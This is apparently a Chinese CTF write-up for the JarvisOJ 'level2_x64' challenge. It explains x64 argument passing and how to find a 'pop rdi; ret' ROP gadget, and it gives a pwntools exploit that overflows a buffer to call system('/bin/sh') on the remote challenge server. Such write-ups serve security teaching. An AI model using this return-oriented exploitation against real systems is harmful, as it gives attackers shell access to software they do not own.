level2-x64

level2_x64
64位文件,开启了 nx 保护。
“”

进ida 看
“”

这个程序实际上就是 level2 的64位版

所以呢,溢出点都是一样的。read 函数,可控的返回地址。
“”

binsh_addr = 0x0000000000600A90
“”

system_addr = 0x00000000004004C0
“”

那么,咱们的Payload 是否可以像 level2 32位那样构造呢?( 64位的地址是8个字节,覆盖rbp用8个B 即可)
32位:payload = “A”*0x80 + “”BBBBBBBB” + p64(system_addr) + p64(8) + p64(binsh_addr)

当然,是不行的~~
那为什么呢?
这里就要说说64位程序下参数的传递问题了。
看过蒸米x64篇之后,你可以用 ebp 去调试上面那段payload写的exploit,你会发现,system 这个函数执行的时候,根本没有取到参数 /bin/sh 。
“”

请看上面的截图。
test rdi , rdi
je 0x7f60a5d1b3a0

这2句指令, rdi 中数据为0,je 跳转成立,跳到了 eixt ,程序退出。为啥呢?
下面来解释:
64位下参数的传递顺序,是从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9,之后所有的参数通过栈来传递。然后,system 需要的参数是从 rdi 中取得。那这个题的做法,就是要将 /bin/sh 放在 rdi 寄存器中。
来,先给出 payload .
64位: payload = “A”*0x80 + “BBBBBBBB” + p64(gadget_rdi_addr) + p64(binsh_addr) + p64(system_addr )

binsh_addr 与 system_addr 前面我们已经找到了。
下面解释这个 gadget_rdi_addr 是个什么。
gadget_rdi_addr 肯定是个地址(好像说了句废话),它是下面这段代码的地址:
pop rdi
ret
pop rdi 把栈中一个参数放进 rdi 中 ,ret 会返回到 rsp 指向的地址。
来分析我们的payload
BBBBBBBB 覆盖 rbp ,gadget_rdi_addr 覆盖返回地址 ,执行到这句的时候,程序回到 pop rdi 这里,然后, rsp + 8 指向下一个位置,也就是: binsh_addr 。
然后,执行 pop rdi , binsh_addr 就被放到了 rdi 中, rsp+8 再次指向下一个位置,就到了 system_addr 。
程序又执行 ret ,返回到 rsp 指向的地址 -> system_addr
程序就去到 system 函数,然后 rdi 中也放入了 /bin/sh
到此,shell 被我们拿到。

那么关键的就是 gadget_rdi_addr 这个地址怎么找?
看过蒸米的 x64 的话,他当中讲到了 通用gadgets ,利用 __libc_csu_init() 函数
“”

这个函数结尾有一串 pop 我们可以利用这里。
当然这里没有现成的 pop rdi
但是,我们来看看这代码的十六进制 0x41 0x5f
“”
而pop rdi 则是 : 0x5f

所以 pop 15 比 pop rdi 多 了个 0x41
这就把 pop r15 的地址加 1
0x4006b2 41 5f pop r15
变成:
0x4006b3 5f pop rdi
与此类似的,还有0x4006b1处的 pop rsi,pop r15,ret
那么这个有什么用呢?我们知道x64传参顺序是 rdi,rsi,rdx,rcx。
所以rsi是第二个参数,我们可以在rop中配合pop rdi,ret来使用pop rsi,pop r15,ret,这样就可以轻松的调用2个参数的函数。
综上: gadget_rdi_addr = 0x4006b3

所以正确的payload
payload = “A”*0x80 + “BBBBBBBB” + p64(gadget_rdi_addr) + p64(binsh_addr) + p64(system_addr)
正确的payload 调试如下, 看到 rdi 已经是 /bin/sh
“”

最终exp:

from pwn import *

#p=process(‘./level2_x64’)
p=remote(‘pwn2.jarvisoj.com’,9882)

system_addr = 0x00000000004004C0
binsh_addr=0x00600a90
gatget_rdi_addr=0x00000000004006b3

payload=’a’128+”b”8+p64(gatget_rdi_addr)+p64(binsh_addr)+p64(system_addr)

#s = raw_input()
p.send(payload)
p.interactive()

“”

CTF{081ecc7c8d658409eb43358dcc1cf446}